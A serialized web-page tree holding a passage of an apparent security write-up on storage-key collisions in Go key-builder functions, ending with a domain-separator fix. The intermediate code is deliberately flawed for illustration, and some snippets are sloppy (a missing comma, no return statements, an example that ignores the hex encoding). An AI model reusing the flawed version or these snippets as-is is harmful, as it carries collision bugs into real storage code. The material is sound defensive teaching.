AddressMap",{"type":23,"tag":75,"props":10621,"children":10622},{"style":209},[10623],{"type":29,"value":9508},{"type":23,"tag":75,"props":10625,"children":10626},{"class":77,"line":656},[10627,10631,10635,10639,10643,10647,10651,10655,10659,10663,10667,10672,10676],{"type":23,"tag":75,"props":10628,"children":10629},{"style":82},[10630],{"type":29,"value":9516},{"type":23,"tag":75,"props":10632,"children":10633},{"style":94},[10634],{"type":29,"value":814},{"type":23,"tag":75,"props":10636,"children":10637},{"style":104},[10638],{"type":29,"value":9525},{"type":23,"tag":75,"props":10640,"children":10641},{"style":94},[10642],{"type":29,"value":1610},{"type":23,"tag":75,"props":10644,"children":10645},{"style":82},[10646],{"type":29,"value":1847},{"type":23,"tag":75,"props":10648,"children":10649},{"style":94},[10650],{"type":29,"value":814},{"type":23,"tag":75,"props":10652,"children":10653},{"style":104},[10654],{"type":29,"value":9542},{"type":23,"tag":75,"props":10656,"children":10657},{"style":94},[10658],{"type":29,"value":1610},{"type":23,"tag":75,"props":10660,"children":10661},{"style":82},[10662],{"type":29,"value":1847},{"type":23,"tag":75,"props":10664,"children":10665},{"style":94},[10666],{"type":29,"value":814},{"type":23,"tag":75,"props":10668,"children":10669},{"style":104},[10670],{"type":29,"value":10671},"AddressName",{"type":23,"tag":75,"props":10673,"children":10674},{"style":94},[10675],{"type":29,"value":1610},{"type":23,"tag":75,"props":10677,"children":10678},{"style":104},[10679],{"type":29,"value":10680},"Address\n",{"type":23,"tag":32,"props":10682,"children":10683},{},[10684],{"type":29,"value":10685},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":64,"props":10687,"children":10689},{"code":10688,"language":373,"meta":7,"className":374,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[10690],{"type":23,"tag":71,"props":10691,"children":10692},{"__ignoreMap":7},[10693,10704,10719,10726,10733,10740,10756,10771,10798,10821,10840,10856,10892,10899,10934,10941,10961,10976,11011,11018,11053,11060,11088,11100,11112,11124,11136,11147,11159,11166,11173,11180,11187,11203,11218,11242,11265,11284,11299,11334,11341,11376,11383,11403,11418,11453,11460,11496,11503,11530,11541,11552,11563,11574,11585,11597,11604],{"type":23,"tag":75,"props":10694,"children":10695},{"class":77,"line":78},[10696,10700],{"type":23,"tag":75,"props":10697,"children":10698},{"style":82},[10699],{"type":29,"value":2869},{"type":23,"tag":75,"props":10701,"children":10702},{"style":94},[10703],{"type":29,"value":2874},{"type":23,"tag":75,"props":10705,"children":10706},{"class":77,"line":100},[10707,10711,10715],{"type":23,"tag":75,"props":10708,"children":10709},{"style":110},[10710],{"type":29,"value":9722},{"type":23,"tag":75,"props":10712,"children":10713},{"style":209},[10714],{"type":29,"value":1193},{"type":23,"tag":75,"props":10716,"children":10717},{"style":1266},[10718],{"type":29,"value":9731},{"type":23,"tag":75,"props":10720,"children":10721},{"class":77,"line":121},[10722],{"type":23,"tag":75,"props":10723,"children":10724},{"style":94},[10725],{"type":29,"value":653},{"type":23,"tag":75,"props":10727,"children":10728},{"class":77,"line":138},[10729],{"type":23,"tag":75,"props":10730,"children":10731},{"emptyLinePlaceholder":15},[10732],{"type":29,"value":276},{"type":23,"tag":75,"props":10734,"children":10735},{"class":77,"line":161},[10736],{"type":23,"tag":75,"props":10737,"children":10738},{"emptyLinePlaceholder":15},[10739],{"type":29,"value":276},{"type":23,"tag":75,"props":10741,"children":10742},{"class":77,"line":196},[10743,10747,10752],{"type":23,"tag":75,"props":10744,"children":10745},{"style":82},[10746],{"type":29,"value":512},{"type":23,"tag":75,"props":10748,"children":10749},{"style":88},[10750],{"type":29,"value":10751}," PositionMapKey",{"type":23,"tag":75,"props":10753,"children":10754},{"style":94},[10755],{"type":29,"value":97},{"type":23,"tag":75,"props":10757,"children":10758},{"class":77,"line":220},[10759,10763,10767],{"type":23,"tag":75,"props":10760,"children":10761},{"style":110},[10762],{"type":29,"value":9637},{"type":23,"tag":75,"props":10764,"children":10765},{"style":104},[10766],{"type":29,"value":638},{"type":23,"tag":75,"props":10768,"children":10769},{"style":94},[10770],{"type":29,"value":118},{"type":23,"tag":75,"props":10772,"children":10773},{"class":77,"line":248},[10774,10778,10782,10786,10790,10794],{"type":23,"tag":75,"props":10775,"children":10776},{"style":110},[10777],{"type":29,"value":9649},{"type":23,"tag":75,"props":10779,"children":10780},{"style":94},[10781],{"type":29,"value":611},{"type":23,"tag":75,"props":10783,"children":10784},{"style":110},[10785],{"type":29,"value":10131},{"type":23,"tag":75,"props":10787,"children":10788},{"style":94},[10789],{"type":29,"value":439},{"type":23,"tag":75,"props":10791,"children":10792},{"style":104},[10793],{"type":29,"value":9151},{"type":23,"tag":75,"props":10795,"children":10796},{"style":94},[10797],{"type":29,"value":118},{"type":23,"tag":75,"props":10799,"children":10800},{"class":77,"line":270},[10801,10805,10809,10813,10817],{"type":23,"tag":75,"props":10802,"children":10803},{"style":94},[10804],{"type":29,"value":596},{"type":23,"tag":75,"props":10806,"children":10807},{"style":110},[10808],{"type":29,"value":1779},{"type":23,"tag":75,"props":10810,"children":10811},{"style":94},[10812],{"type":29,"value":439},{"type":23,"tag":75,"props":10814,"children":10815},{"style":104},[10816],{"type":29,"value":9151},{"type":23,"tag":75,"props":10818,"children":10819},{"style":94},[10820],{"type":29,"value":193},{"type":23,"tag":75,"props":10822,"children":10823},{"class":77,"line":279},[10824,10828,10832,10836],{"type":23,"tag":75,"props":10825,"children":10826},{"style":110},[10827],{"type":29,"value":10252},{"type":23,"tag":75,"props":10829,"children":10830},{"style":209},[10831],{"type":29,"value":633},{"type":23,"tag":75,"props":10833,"children":10834},{"style":88},[10835],{"type":29,"value":9955},{"type":23,"tag":75,"props":10837,"children":10838},{"style":94},[10839],{"type":29,"value":97},{"type":23,"tag":75,"props":10841,"children":10842},{"class":77,"line":303},[10843,10848,10852],{"type":23,"tag":75,"props":10844,"children":10845},{"style":94},[10846],{"type":29,"value":10847},"        []",{"type":23,"tag":75,"props":10849,"children":10850},{"style":104},[10851],{"type":29,"value":9151},{"type":23,"tag":75,"props":10853,"children":10854},{"style":94},[10855],{"type":29,"value":118},{"type":23,"tag":75,"props":10857,"children":10858},{"class":77,"line":322},[10859,10864,10868,10872,10876,10880,10884,10888],{"type":23,"tag":75,"props":10860,"children":10861},{"style":110},[10862],{"type":29,"value":10863},"        hex",{"type":23,"tag":75,"props":10865,"children":10866},{"style":94},[10867],{"type":29,"value":557},{"type":23,"tag":75,"props":10869,"children":10870},{"style":88},[10871],{"type":29,"value":9992},{"type":23,"tag":75,"props":10873,"children":10874},{"style":94},[10875],{"type":29,"value":643},{"type":23,"tag":75,"props":10877,"children":10878},{"style":88},[10879],{"type":29,"value":679},{"type":23,"tag":75,"props":10881,"children":10882},{"style":94},[10883],{"type":29,"value":643},{"type":23,"tag":75,"props":10885,"children":10886},{"style":110},[10887],{"type":29,"value":9862},{"type":23,"tag":75,"props":10889,"children":10890},{"style":94},[10891],{"type":29,"value":10013},{"type":23,"tag":75,"props":10893,"children":10894},{"class":77,"line":340},[10895],{"type":23,"tag":75,"props":10896,"children":10897},{"style":94},[10898],{"type":29,"value":7152},{"type":23,"tag":75,"props":10900,"children":10901},{"class":77,"line":349},[10902,10906,10910,10914,10918,10922,10926,10930],{"type":23,"tag":75,"props":10903,"children":10904},{"style":110},[10905],{"type":29,"value":9983},{"type":23,"tag":75,"props":10907,"children":10908},{"style":94},[10909],{"type":29,"value":557},{"type":23,"tag":75,"props":10911,"children":10912},{"style":88},[10913],{"type":29,"value":10037},{"type":23,"tag":75,"props":10915,"children":10916},{"style":94},[10917],{"type":29,"value":643},{"type":23,"tag":75,"props":10919,"children":10920},{"style":110},[10921],{"type":29,"value":9946},{"type":23,"tag":75,"props":10923,"children":10924},{"style":94},[10925],{"type":29,"value":611},{"type":23,"tag":75,"props":10927,"children":10928},{"style":110},[10929],{"type":29,"value":9862},{"type":23,"tag":75,"props":10931,"children":10932},{"style":94},[10933],{"type":29,"value":653},{"type":23,"tag":75,"props":10935,"children":10936},{"class":77,"line":363},[10937],{"type":23,"tag":75,"props":10938,"children":10939},{"emptyLinePlaceholder":15},[10940],{"type":29,"value":276},{"type":23,"tag":75,"props":10942,"children":10943},{"class":77,"line":656},[10944,10949,10953,10957],{"type":23,"tag":75,"props":10945,"children":10946},{"style":110},[10947],{"type":29,"value":10948},"    positionNameEncoded",{"type":23,"tag":75,"props":10950,"children":10951},{"style":209},[10952],{"type":29,"value":633},{"type":23,"tag":75,"props":10954,"children":10955},{"style":88},[10956],{"type":29,"value":9955},{"type":23,"tag":75,"props":10958,"children":10959},{"style":94},[10960],{"type":29,"value":97},{"type":23,"tag":75,"props":10962,"children":10963},{"class":77,"line":705},[10964,10968,10972],{"type":23,"tag":75,"props":10965,"children":10966},{"style":94},[10967],{"type":29,"value":10847},{"type":23,"tag":75,"props":10969,"children":10970},{"style":104},[10971],{"type":29,"value":9151},{"type":23,"tag":75,"props":10973,"children":10974},{"style":94},[10975],{"type":29,"value":118},{"type":23,"tag":75,"props":10977,"children":10978},{"class":77,"line":787},[10979,10983,10987,10991,10995,10999,11003,11007],{"type":23,"tag":75,"props":10980,"children":10981},{"style":110},[10982],{"type":29,"value":10863},{"type":23,"tag":75,"props":10984,"children":10985},{"style":94},[10986],{"type":29,"value":557},{"type":23,"tag":75,"props":10988,"children":10989},{"style":88},[10990],{"type":29,"value":9992},{"type":23,"tag":75,"props":10992,"children":10993},{"style":94},[10994],{"type":29,"value":643},{"type":23,"tag":75,"props":10996,"children":10997},{"style":88},[10998],{"type":29,"value":679},{"type":23,"tag":75,"props":11000,"children":11001},{"style":94},[11002],{"type":29,"value":643},{"type":23,"tag":75,"props":11004,"children":11005},{"style":110},[11006],{"type":29,"value":10131},{"type":23,"tag":75,"props":11008,"children":11009},{"style":94},[11010],{"type":29,"value":10013},{"type":23,"tag":75,"props":11012,"children":11013},{"class":77,"line":826},[11014],{"type":23,"tag":75,"props":11015,"children":11016},{"style":94},[11017],{"type":29,"value":7152},{"type":23,"tag":75,"props":11019,"children":11020},{"class":77,"line":834},[11021,11025,11029,11033,11037,11041,11045,11049],{"type":23,"tag":75,"props":11022,"children":11023},{"style":110},[11024],{"type":29,"value":9983},{"type":23,"tag":75,"props":11026,"children":11027},{"style":94},[11028],{"type":29,"value":557},{"type":23,"tag":75,"props":11030,"children":11031},{"style":88},[11032],{"type":29,"value":10037},{"type":23,"tag":75,"props":11034,"children":11035},{"style":94},[11036],{"type":29,"value":643},{"type":23,"tag":75,"props":11038,"children":11039},{"style":110},[11040],{"type":29,"value":10072},{"type":23,"tag":75,"props":11042,"children":11043},{"style":94},[11044],{"type":29,"value":611},{"type":23,"tag":75,"props":11046,"children":11047},{"style":110},[11048],{"type":29,"value":10131},{"type":23,"tag":75,"props":11050,"children":11051},{"style":94},[11052],{"type":29,"value":653},{"type":23,"tag":75,"props":11054,"children":11055},{"class":77,"line":881},[11056],{"type":23,"tag":75,"props":11057,"children":11058},{"emptyLinePlaceholder":15},[11059],{"type":29,"value":276},{"type":23,"tag":75,"props":11061,"children":11062},{"class":77,"line":3355},[11063,11068,11072,11076,11080,11084],{"type":23,"tag":75,"props":11064,"children":11065},{"style":110},[11066],{"type":29,"value":11067},"    key",{"type":23,"tag":75,"props":11069,"children":11070},{"style":209},[11071],{"type":29,"value":633},{"type":23,"tag":75,"props":11073,"children":11074},{"style":110},[11075],{"type":29,"value":6604},{"type":23,"tag":75,"props":11077,"children":11078},{"style":94},[11079],{"type":29,"value":557},{"type":23,"tag":75,"props":11081,"children":11082},{"style":88},[11083],{"type":29,"value":9613},{"type":23,"tag":75,"props":11085,"children":11086},{"style":94},[11087],{"type":29,"value":97},{"type":23,"tag":75,"props":11089,"children":11090},{"class":77,"line":3390},[11091,11096],{"type":23,"tag":75,"props":11092,"children":11093},{"style":1266},[11094],{"type":29,"value":11095},"        \"%d%s%s%s%s\"",{"type":23,"tag":75,"props":11097,"children":11098},{"style":94},[11099],{"type":29,"value":118},{"type":23,"tag":75,"props":11101,"children":11102},{"class":77,"line":3423},[11103,11108],{"type":23,"tag":75,"props":11104,"children":11105},{"style":110},[11106],{"type":29,"value":11107},"        vaultId",{"type":23,"tag":75,"props":11109,"children":11110},{"style":94},[11111],{"type":29,"value":118},{"type":23,"tag":75,"props":11113,"children":11114},{"class":77,"line":3436},[11115,11120],{"type":23,"tag":75,"props":11116,"children":11117},{"style":110},[11118],{"type":29,"value":11119},"        Seperator",{"type":23,"tag":75,"props":11121,"children":11122},{"style":94},[11123],{"type":29,"value":118},{"type":23,"tag":75,"props":11125,"children":11126},{"class":77,"line":3449},[11127,11132],{"type":23,"tag":75,"props":11128,"children":11129},{"style":110},[11130],{"type":29,"value":11131},"        usernameEncoded",{"type":23,"tag":75,"props":11133,"children":11134},{"style":94},[11135],{"type":29,"value":118},{"type":23,"tag":75,"props":11137,"children":11138},{"class":77,"line":3457},[11139,11143],{"type":23,"tag":75,"props":11140,"children":11141},{"style":110},[11142],{"type":29,"value":11119},{"type":23,"tag":75,"props":11144,"children":11145},{"style":94},[11146],{"type":29,"value":118},{"type":23,"tag":75,"props":11148,"children":11149},{"class":77,"line":3465},[11150,11155],{"type":23,"tag":75,"props":11151,"children":11152},{"style":110},[11153],{"type":29,"value":11154},"        positionNameEncoded",{"type":23,"tag":75,"props":11156,"children":11157},{"style":94},[11158],{"type":29,"value":118},{"type":23,"tag":75,"props":11160,"children":11161},{"class":77,"line":3473},[11162],{"type":23,"tag":75,"props":11163,"children":11164},{"style":94},[11165],{"type":29,"value":7152},{"type":23,"tag":75,"props":11167,"children":11168},{"class":77,"line":3481},[11169],{"type":23,"tag":75,"props":11170,"children":11171},{"style":94},[11172],{"type":29,"value":369},{"type":23,"tag":75,"props":11174,"children":11175},{"class":77,"line":3524},[11176],{"type":23,"tag":75,"props":11177,"children":11178},{"emptyLinePlaceholder":15},[11179],{"type":29,"value":276},{"type":23,"tag":75,"props":11181,"children":11182},{"class":77,"line":4890},[11183],{"type":23,"tag":75,"props":11184,"children":11185},{"emptyLinePlaceholder":15},[11186],{"type":29,"value":276},{"type":23,"tag":75,"props":11188,"children":11189},{"class":77,"line":4937},[11190,11194,11199],{"type":23,"tag":75,"props":11191,"children":11192},{"style":82},[11193],{"type":29,"value":512},{"type":23,"tag":75,"props":11195,"children":11196},{"style":88},[11197],{"type":29,"value":11198}," AddressMapKey",{"type":23,"tag":75,"props":11200,"children":11201},{"style":94},[11202],{"type":29,"value":97},{"type":23,"tag":75,"props":11204,"children":11205},{"class":77,"line":4950},[11206,11210,11214],{"type":23,"tag":75,"props":11207,"children":11208},{"style":110},[11209],{"type":29,"value":9637},{"type":23,"tag":75,"props":11211,"children":11212},{"style":104},[11213],{"type":29,"value":638},{"type":23,"tag":75,"props":11215,"children":11216},{"style":94},[11217],{"type":29,"value":118},{"type":23,"tag":75,"props":11219,"children":11220},{"class":77,"line":4958},[11221,11225,11229,11234,11238],{"type":23,"tag":75,"props":11222,"children":11223},{"style":110},[11224],{"type":29,"value":9649},{"type":23,"tag":75,"props":11226,"children":11227},{"style":94},[11228],{"type":29,"value":611},{"type":23,"tag":75,"props":11230,"children":11231},{"style":110},[11232],{"type":29,"value":11233},"addressName",{"type":23,"tag":75,"props":11235,"children":11236},{"style":94},[11237],{"type":29,"value":439},{"type":23,"tag":75,"props":11239,"children":11240},{"style":104},[11241],{"type":29,"value":8611},{"type":23,"tag":75,"props":11243,"children":11244},{"class":77,"line":4967},[11245,11249,11253,11257,11261],{"type":23,"tag":75,"props":11246,"children":11247},{"style":94},[11248],{"type":29,"value":596},{"type":23,"tag":75,"props":11250,"children":11251},{"style":110},[11252],{"type":29,"value":1779},{"type":23,"tag":75,"props":11254,"children":11255},{"style":94},[11256],{"type":29,"value":439},{"type":23,"tag":75,"props":11258,"children":11259},{"style":104},[11260],{"type":29,"value":9151},{"type":23,"tag":75,"props":11262,"children":11263},{"style":94},[11264],{"type":29,"value":193},{"type":23,"tag":75,"props":11266,"children":11267},{"class":77,"line":4975},[11268,11272,11276,11280],{"type":23,"tag":75,"props":11269,"children":11270},{"style":110},[11271],{"type":29,"value":10252},{"type":23,"tag":75,"props":11273,"children":11274},{"style":209},[11275],{"type":29,"value":633},{"type":23,"tag":75,"props":11277,"children":11278},{"style":88},[11279],{"type":29,"value":9955},{"type":23,"tag":75,"props":11281,"children":11282},{"style":94},[11283],{"type":29,"value":97},{"type":23,"tag":75,"props":11285,"children":11286},{"class":77,"line":5016},[11287,11291,11295],{"type":23,"tag":75,"props":11288,"children":11289},{"style":94},[11290],{"type":29,"value":10847},{"type":23,"tag":75,"props":11292,"children":11293},{"style":104},[11294],{"type":29,"value":9151},{"type":23,"tag":75,"props":11296,"children":11297},{"style":94},[11298],{"type":29,"value":118},{"type":23,"tag":75,"props":11300,"children":11301},{"class":77,"line":5025},[11302,11306,11310,11314,11318,11322,11326,11330],{"type":23,"tag":75,"props":11303,"children":11304},{"style":110},[11305],{"type":29,"value":10863},{"type":23,"tag":75,"props":11307,"children":11308},{"style":94},[11309],{"type":29,"value":557},{"type":23,"tag":75,"props":11311,"children":11312},{"style":88},[11313],{"type":29,"value":9992},{"type":23,"tag":75,"props":11315,"children":11316},{"style":94},[11317],{"type":29,"value":643},{"type":23,"tag":75,"props":11319,"children":11320},{"style":88},[11321],{"type":29,"value":679},{"type":23,"tag":75,"props":11323,"children":11324},{"style":94},[11325],{"type":29,"value":643},{"type":23,"tag":75,"props":11327,"children":11328},{"style":110},[11329],{"type":29,"value":9862},{"type":23,"tag":75,"props":11331,"children":11332},{"style":94},[11333],{"type":29,"value":10013},{"type":23,"tag":75,"props":11335,"children":11336},{"class":77,"line":5033},[11337],{"type":23,"tag":75,"props":11338,"children":11339},{"style":94},[11340],{"type":29,"value":7152},{"type":23,"tag":75,"props":11342,"children":11343},{"class":77,"line":5041},[11344,11348,11352,11356,11360,11364,11368,11372],{"type":23,"tag":75,"props":11345,"children":11346},{"style":110},[11347],{"type":29,"value":9983},{"type":23,"tag":75,"props":11349,"children":11350},{"style":94},[11351],{"type":29,"value":557},{"type":23,"tag":75,"props":11353,"children":11354},{"style":88},[11355],{"type":29,"value":10037},{"type":23,"tag":75,"props":11357,"children":11358},{"style":94},[11359],{"type":29,"value":643},{"type":23,"tag":75,"props":11361,"children":11362},{"style":110},[11363],{"type":29,"value":9946},{"type":23,"tag":75,"props":11365,"children":11366},{"style":94},[11367],{"type":29,"value":611},{"type":23,"tag":75,"props":11369,"children":11370},{"style":110},[11371],{"type":29,"value":9862},{"type":23,"tag":75,"props":11373,"children":11374},{"style":94},[11375],{"type":29,"value":653},{"type":23,"tag":75,"props":11377,"children":11378},{"class":77,"line":5050},[11379],{"type":23,"tag":75,"props":11380,"children":11381},{"emptyLinePlaceholder":15},[11382],{"type":29,"value":276},{"type":23,"tag":75,"props":11384,"children":11385},{"class":77,"line":5058},[11386,11391,11395,11399],{"type":23,"tag":75,"props":11387,"children":11388},{"style":110},[11389],{"type":29,"value":11390},"    addressNameEncoded",{"type":23,"tag":75,"props":11392,"children":11393},{"style":209},[11394],{"type":29,"value":633},{"type":23,"tag":75,"props":11396,"children":11397},{"style":88},[11398],{"type":29,"value":9955},{"type":23,"tag":75,"props":11400,"children":11401},{"style":94},[11402],{"type":29,"value":97},{"type":23,"tag":75,"props":11404,"children":11405},{"class":77,"line":5083},[11406,11410,11414],{"type":23,"tag":75,"props":11407,"children":11408},{"style":94},[11409],{"type":29,"value":10847},{"type":23,"tag":75,"props":11411,"children":11412},{"style":104},[11413],{"type":29,"value":9151},{"type":23,"tag":75,"props":11415,"children":11416},{"style":94},[11417],{"type":29,"value":118},{"type":23,"tag":75,"props":11419,"children":11420},{"class":77,"line":5108},[11421,11425,11429,11433,11437,11441,11445,11449],{"type":23,"tag":75,"props":11422,"children":11423},{"style":110},[11424],{"type":29,"value":10863},{"type":23,"tag":75,"props":11426,"children":11427},{"style":94},[11428],{"type":29,"value":557},{"type":23,"tag":75,"props":11430,"children":11431},{"style":88},[11432],{"type":29,"value":9992},{"type":23,"tag":75,"props":11434,"children":11435},{"style":94},[11436],{"type":29,"value":643},{"type":23,"tag":75,"props":11438,"children":11439},{"style":88},[11440],{"type":29,"value":679},{"type":23,"tag":75,"props":11442,"children":11443},{"style":94},[11444],{"type":29,"value":643},{"type":23,"tag":75,"props":11446,"children":11447},{"style":110},[11448],{"type":29,"value":11233},{"type":23,"tag":75,"props":11450,"children":11451},{"style":94},[11452],{"type":29,"value":10013},{"type":23,"tag":75,"props":11454,"children":11455},{"class":77,"line":5137},[11456],{"type":23,"tag":75,"props":11457,"children":11458},{"style":94},[11459],{"type":29,"value":7152},{"type":23,"tag":75,"props":11461,"children":11462},{"class":77,"line":5163},[11463,11467,11471,11475,11479,11484,11488,11492],{"type":23,"tag":75,"props":11464,"children":11465},{"style":110},[11466],{"type":29,"value":9983},{"type":23,"tag":75,"props":11468,"children":11469},{"style":94},[11470],{"type":29,"value":557},{"type":23,"tag":75,"props":11472,"children":11473},{"style":88},[11474],{"type":29,"value":10037},{"type":23,"tag":75,"props":11476,"children":11477},{"style":94},[11478],{"type":29,"value":643},{"type":23,"tag":75,"props":11480,"children":11481},{"style":110},[11482],{"type":29,"value":11483},"addressNameEncoded",{"type":23,"tag":75,"props":11485,"children":11486},{"style":94},[11487],{"type":29,"value":611},{"type":23,"tag":75,"props":11489,"children":11490},{"style":110},[11491],{"type":29,"value":11233},{"type":23,"tag":75,"props":11493,"children":11494},{"style":94},[11495],{"type":29,"value":653},{"type":23,"tag":75,"props":11497,"children":11498},{"class":77,"line":5172},[11499],{"type":23,"tag":75,"props":11500,"children":11501},{"emptyLinePlaceholder":15},[11502],{"type":29,"value":276},{"type":23,"tag":75,"props":11504,"children":11505},{"class":77,"line":5206},[11506,11510,11514,11518,11522,11526],{"type":23,"tag":75,"props":11507,"children":11508},{"style":110},[11509],{"type":29,"value":11067},{"type":23,"tag":75,"props":11511,"children":11512},{"style":209},[11513],{"type":29,"value":633},{"type":23,"tag":75,"props":11515,"children":11516},{"style":110},[11517],{"type":29,"value":6604},{"type":23,"tag":75,"props":11519,"children":11520},{"style":94},[11521],{"type":29,"value":557},{"type":23,"tag":75,"props":11523,"children":11524},{"style":88},[11525],{"type":29,"value":9613},{"type":23,"tag":75,"props":11527,"children":11528},{"style":94},[11529],{"type":29,"value":97},{"type":23,"tag":75,"props":11531,"children":11532},{"class":77,"line":5214},[11533,11537],{"type":23,"tag":75,"props":11534,"children":11535},{"style":1266},[11536],{"type":29,"value":11095},{"type":23,"tag":75,"props":11538,"children":11539},{"style":94},[11540],{"type":29,"value":118},{"type":23,"tag":75,"props":11542,"children":11543},{"class":77,"line":5227},[11544,11548],{"type":23,"tag":75,"props":11545,"children":11546},{"style":110},[11547],{"type":29,"value":11107},{"type":23,"tag":75,"props":11549,"children":11550},{"style":94},[11551],{"type":29,"value":118},{"type":23,"tag":75,"props":11553,"children":11554},{"class":77,"line":5259},[11555,11559],{"type":23,"tag":75,"props":11556,"children":11557},{"style":110},[11558],{"type":29,"value":11119},{"type":23,"tag":75,"props":11560,"children":11561},{"style":94},[11562],{"type":29,"value":118},{"type":23,"tag":75,"props":11564,"children":11565},{"class":77,"line":5315},[11566,11570],{"type":23,"tag":75,"props":11567,"children":11568},{"style":110},[11569],{"type":29,"value":11131},{"type":23,"tag":75,"props":11571,"children":11572},{"style":94},[11573],{"type":29,"value":118},{"type":23,"tag":75,"props":11575,"children":11576},{"class":77,"line":5328},[11577,11581],{"type":23,"tag":75,"props":11578,"children":11579},{"style":110},[11580],{"type":29,"value":11119},{"type":23,"tag":75,"props":11582,"children":11583},{"style":94},[11584],{"type":29,"value":118},{"type":23,"tag":75,"props":11586,"children":11587},{"class":77,"line":5336},[11588,11593],{"type":23,"tag":75,"props":11589,"children":11590},{"style":110},[11591],{"type":29,"value":11592},"        addressNameEncoded",{"type":23,"tag":75,"props":11594,"children":11595},{"style":94},[11596],{"type":29,"value":118},{"type":23,"tag":75,"props":11598,"children":11599},{"class":77,"line":5344},[11600],{"type":23,"tag":75,"props":11601,"children":11602},{"style":94},[11603],{"type":29,"value":7152},{"type":23,"tag":75,"props":11605,"children":11606},{"class":77,"line":5352},[11607],{"type":23,"tag":75,"props":11608,"children":11609},{"style":94},[11610],{"type":29,"value":369},{"type":23,"tag":32,"props":11612,"children":11613},{},[11614,11616,11621],{"type":29,"value":11615},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":71,"props":11617,"children":11619},{"className":11618},[],[11620],{"type":29,"value":9365},{"type":29,"value":11622},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":64,"props":11624,"children":11626},{"code":11625},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[11627],{"type":23,"tag":71,"props":11628,"children":11629},{"__ignoreMap":7},[11630],{"type":29,"value":11625},{"type":23,"tag":32,"props":11632,"children":11633},{},[11634],{"type":29,"value":11635},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":64,"props":11637,"children":11639},{"code":11638,"language":373,"meta":7,"className":374,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[11640],{"type":23,"tag":71,"props":11641,"children":11642},{"__ignoreMap":7},[11643,11654,11669,11697,11722,11729,11736,11743,11758,11773,11800,11823,11842,11857,11892,11899,11934,11941,11960,11975,12010,12017,12052,12059,12086,12098,12110,12121,12132,12143,12154,12165,12172,12179,12186,12193,12208,12223,12250,12273,12292,12307,12342,12349,12384,12391,12410,12425,12460,12467,12502,12509,12536,12547,12559,12570,12581,12592,12603,12614,12622],{"type":23,"tag":75,"props":11644,"children":11645},{"class":77,"line":78},[11646,11650],{"type":23,"tag":75,"props":11647,"children":11648},{"style":82},[11649],{"type":29,"value":2869},{"type":23,"tag":75,"props":11651,"children":11652},{"style":94},[11653],{"type":29,"value":2874},{"type":23,"tag":75,"props":11655,"children":11656},{"class":77,"line":100},[11657,11661,11665],{"type":23,"tag":75,"props":11658,"children":11659},{"style":110},[11660],{"type":29,"value":9722},{"type":23,"tag":75,"props":11662,"children":11663},{"style":209},[11664],{"type":29,"value":1193},{"type":23,"tag":75,"props":11666,"children":11667},{"style":1266},[11668],{"type":29,"value":9731},{"type":23,"tag":75,"props":11670,"children":11671},{"class":77,"line":121},[11672,11677,11681,11686,11692],{"type":23,"tag":75,"props":11673,"children":11674},{"style":110},[11675],{"type":29,"value":11676},"    PositionMapPrefix",{"type":23,"tag":75,"props":11678,"children":11679},{"style":209},[11680],{"type":29,"value":1193},{"type":23,"tag":75,"props":11682,"children":11683},{"style":1266},[11684],{"type":29,"value":11685}," \"",{"type":23,"tag":75,"props":11687,"children":11689},{"style":11688},"--shiki-default:#D7BA7D",[11690],{"type":29,"value":11691},"\\x01",{"type":23,"tag":75,"props":11693,"children":11694},{"style":1266},[11695],{"type":29,"value":11696},"\"\n",{"type":23,"tag":75,"props":11698,"children":11699},{"class":77,"line":138},[11700,11705,11709,11713,11718],{"type":23,"tag":75,"props":11701,"children":11702},{"style":110},[11703],{"type":29,"value":11704},"    